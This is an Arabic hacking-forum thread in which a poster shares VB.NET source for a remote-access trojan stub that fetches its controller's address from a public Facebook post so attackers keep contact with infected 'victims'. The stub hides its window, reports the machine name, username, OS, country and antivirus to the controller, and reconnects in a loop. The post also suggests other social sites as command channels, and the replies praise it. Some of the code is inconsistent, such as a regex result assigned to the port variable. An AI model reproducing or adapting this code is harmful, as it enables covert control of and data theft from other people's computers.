حالة الموضوع:
مغلق
  1. Ihabou

    Ihabou Developer

    الأنتساب:
    ‏27 ابريل 2015
    المشاركات:
    15
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    [​IMG]

    أعضاء و زوار أمان العراق


    طبعا بعد معاناة الإخوة مع مواقع الهوستات و فقدان الضحايا

    تم التوصل لحل وهو تحديث الايبي عبر الفيس بوك (صفحات أو بروفايلات )

    هذه الفكرة كان عاملها واحد جارنا (Zaq ZibanPirat) للبوت نات مبرمج المتحكم بال C++

    لكن اليوم قمت ببرمجتها بال Vb.net و تمت التجربة بنجاح

    الفكرة أنك تعمل ستاتي (منشور) في حسابك او صفحتك ويكون عام

    بعدين تحط رابط المنشور في الفيس بوك مكان الهوست في البويلدر تبع النجرات

    وبكذا يتحدث الايبي [​IMG] بحيث يمكنك التعديل على منشورك في اي وقت تريد وتغيير الايبي [​IMG]

    مثال :

    [C#]Dim Loading As String = "Loading..."
    RichTextBox1.Text = Loading
    Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("رابط المنشور في فيس بوك")
    request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; rv:37.0) Gecko/20100101 Firefox/37.0"
    Dim response As System.Net.HttpWebResponse = request.GetResponse()

    Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())

    Dim sourcecode As String = sr.ReadToEnd()
    RichTextBox1.Text = sourcecode

    [/C#]

    حلووو نأتي الآن الى المفيد وهو التعديل على الستب

    انا راح اعدل على ستب رات عملته سابقا (رات بسيط)

    [C#]Imports System.Globalization
    Imports System.IO
    Imports System.Text.RegularExpressions

    Public Class Form1
    Public hidme As Object
    Public WithEvents c As New SocketClient 'تعريف متغير من السوكت
    Private culture As String = CultureInfo.CurrentCulture.EnglishName
    Private country As String = culture.Substring(culture.IndexOf("("c) + 1, culture.LastIndexOf(")"c) - culture.IndexOf("("c) - 1) ' متغير محفوظ فيه اسم الدوله
    Dim host As String '= "127.0.0.1" ' الهوست او الاي بي
    Dim port As Integer '= 92 'البورت
    Public cap As New CRDP
    Public Yy As String = "||"
    Dim alaa(), text1, text2 As String
    Dim spl As String = "abccba"
    Public Richtextbox1 As RichTextBox

    Private Sub data(ByVal b As Byte()) Handles c.Data
    Dim ala As String() = Split(BS(b), "||") ' اريه من نوع سترينغ تقسم البانات القادمه اعتمادا على "||"
    'جمله شرطيه بالاعتماد على اول كلمه يرسلها الكلاينت
    Try
    Select Case ala(0)
    Case "info"
    c.Send("info" & "||" & "myID" & "||" & Environment.MachineName & "/" & Environment.UserName & "||" & My.Computer.Info_OSFullName & "||" & country & "||" & getanti() & "||")


    End Select
    Catch ex As Exception
    End Try
    End Sub
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Dim Loading As String = "Loading..."
    Richtextbox1.Text = Loading
    Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("رابط المنشور في فيس بوك")
    request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; rv:37.0) Gecko/20100101 Firefox/37.0"
    Dim response As System.Net.HttpWebResponse = request.GetResponse()

    Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())

    Dim sourcecode As String = sr.ReadToEnd()
    Richtextbox1.Text = sourcecode
    port = Regex.Match(Richtextbox1.Text, "(?<=""><p>my\s+host\s+is\s+:).+?(?=</p><div\s+class="""">)", RegexOptions.IgnoreCase).Value
    Me.ShowInTaskbar = False
    Me.Hide()
    Me.Visible = False
    Timer1.Start()
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
    text1 = Space(LOF(1))
    text2 = Space(LOF(1))
    FileGet(1, text1)
    FileGet(1, text2)
    FileClose()
    alaa = Split(text1, spl)
    host = alaa(1)
    port = alaa(2)
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    'جمله شرطيه تفيد اذا لم يكن السيرفر متصل فعاود الاتصال
    If c.Statconnected = False Then
    c.Connect(host, port)
    End If
    End Sub


    End Class

    [/C#]

    نأتي الآن لشرح السطر هاذ لانو مهم جداا

    [C#]
    port = Regex.Match(Richtextbox1.Text, "(?<=""><p>my\s+host\s+is\s+:).+?(?=</p><div\s+class="""">)", RegexOptions.IgnoreCase).Value

    [/C#]


    هنا يلزم تكون عندك خبرة بتقنية ال Regex

    أو عندك حل تاني أنك تتجنب التغيير و لا تتعب حالك فقط إعمل منشور مثل هاذ بحذافيره

    [​IMG]


    راح يحدث الإيبي بدون أي مشاكل [​IMG]

    أو فيه حل ثاني يمكنك إنشاء صفحة اعجاب وجعل منشور فيها يحتوي على الهوست

    وفي حال قررت تغييره احذف البوست القديم وضع بوست جديد

    لكن في البويلدر يجب عليك وضع رابط الصفحة ككل وليس رابط المنشور [​IMG]

    إن شاء الله الطريقة هاذي شغالة 100 % من غير أي كلام ومجربة [​IMG]

    يجي نص ساعة و انا اكتب إن شاء الله ماكون نسيت شيء [​IMG]

    مكن الإستفادة من يوتوب أو تغريدات تويتر أو تعليقات أنتستغرام

    بنفس الطريقة أو أي منتدى يقبل التعديل على المشاركات
    [​IMG]

     
    1 person likes this.
  2. Mustafa Moshkela

    Mustafa Moshkela DeveloPer Plus

    الأنتساب:
    ‏6 نوفمبر 2014
    المشاركات:
    213
    الإعجابات المتلقاة:
    10
    نقاط الجائزة:
    18
    الوظيفة:
    طالب
    رد: قل وداعا للنو إيبي و مواقع الهوستات | إتصل بالضحايا عبر صفحات و حسابات الفيس بوك

    عاشت ايدك يا ورد {1!$7}
    الفكرة عجبتني جاري التطبيق {1!$1}
     
  3. Ihabou

    Ihabou Developer

    الأنتساب:
    ‏27 ابريل 2015
    المشاركات:
    15
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    رد: قل وداعا للنو إيبي و مواقع الهوستات | إتصل بالضحايا عبر صفحات و حسابات الفيس بوك

    طبعا يمكنك استخدام الطريقة على باقي المواقع مع بعض التعديلات
     
  4. Windows Hacker

    Windows Hacker V • I • P

    الأنتساب:
    ‏26 يوليو 2014
    المشاركات:
    636
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    18
    الإقامة:
    |[ Occupied Bahrain ]|
    رد: قل وداعا للنو إيبي و مواقع الهوستات | إتصل بالضحايا عبر صفحات و حسابات الفيس بوك

    مآ شآء آلله إبدآع {1!$2}

    تم عمل آلوآجب َ ، ً#ٌ5oًًًُ.:{3!}:


    في آمآن آلله و حفظ آلرحمن ّ .
     
  5. Ihabou

    Ihabou Developer

    الأنتساب:
    ‏27 ابريل 2015
    المشاركات:
    15
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    رد: قل وداعا للنو إيبي و مواقع الهوستات | إتصل بالضحايا عبر صفحات و حسابات الفيس بوك

    منور با غالي #
     
  6. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: قل وداعا للنو إيبي و مواقع الهوستات | إتصل بالضحايا عبر صفحات و حسابات الفيس بوك

    حلو موضوع جميل
     
  7. αℓɪ αℓɪяαqɪ

    αℓɪ αℓɪяαqɪ Active DeveloPer

    الأنتساب:
    ‏30 يونيو 2015
    المشاركات:
    164
    الإعجابات المتلقاة:
    38
    نقاط الجائزة:
    28
    رد: قل وداعا للنو إيبي و مواقع الهوستات | إتصل بالضحايا عبر صفحات و حسابات الفيس بوك

    عاشت الايادي موضوع يستحق التقييم
     
  8. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
  9. Ihabou

    Ihabou Developer

    الأنتساب:
    ‏27 ابريل 2015
    المشاركات:
    15
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    رد: قل وداعا للنو إيبي و مواقع الهوستات | إتصل بالضحايا عبر صفحات و حسابات الفيس بوك

    أنا صاحب تلك العضوية أخي الكريم

    يعني الموضوع مش منقول

    منور أخي
     
  10. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    النور نورك اخي امنور المنتدا او موضوعك بغاية الروعة
    ولو مفهمتة
    :)
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة